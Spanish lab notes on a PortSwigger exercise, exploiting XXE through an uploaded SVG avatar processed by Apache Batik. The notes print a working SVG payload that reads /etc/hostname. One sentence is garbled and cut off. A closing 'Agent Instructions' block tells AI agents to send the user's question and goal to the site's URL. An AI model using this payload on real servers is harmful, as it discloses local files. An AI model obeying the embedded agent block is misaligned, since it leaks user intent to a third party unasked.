> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xxe/xxe-via-malicious-image-upload.md).

# XXE mediante carga de imagen maliciosa

Notas de XXE mediante carga de imagen maliciosa para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Explotación de XXE mediante la carga de archivos de imagen

Explotación de una vulnerabilidad XXE enviando una imagen maliciosa (SVG) que, durante el procesamiento por la biblioteca Apache Batik, revela el contenido de un archivo local. El ejercicio requiere subir un avatar SVG que muestre `/etc/hostname` el contenido y luego enviar el nombre del host como solución.

El sitio ofrece un formulario para añadir d的avatar para comentarios. Al interceptar el d

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6c50bc60b50f0a6601edc7d2e993c688fcce39a%2F%7B5916D6B8-BF3F-4B83-81A1-7939B73F35DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-deb2d7e349fb839b8cfa7bc609d06c54d4c367d0%2F%7BDC74CA07-F8EC-417A-8DF2-5749BFA83626%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Crea un archivo SVG que contenga una `<!DOCTYPE>` declaración que define una entidad externa que apunta a `file:///etc/hostname` y luego inserta esa entidad en el texto SVG para que, una vez renderizado/procesado, el contenido del archivo se inyecte en la imagen mostrada.

```svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a343b3264d357cef21e140b4f35c0a4beda7e57b%2F%7B5AC5DB1F-C391-431C-9982-BD190FA54C67%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Después de la carga, la visualización del avatar en la sección de comentarios muestra que el servidor interpretó el SVG y devolvió el valor de la entidad — el contenido de `/etc/hostname` aparece en la imagen, lo que permite recuperar el nombre del host y enviar la solución.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2d53d5c99fede0707e750fa8d06ef7d64984257%2F%7BAC47938B-9598-40B7-851B-A27A65E30360%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/xxe/xxe-via-malicious-image-upload.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
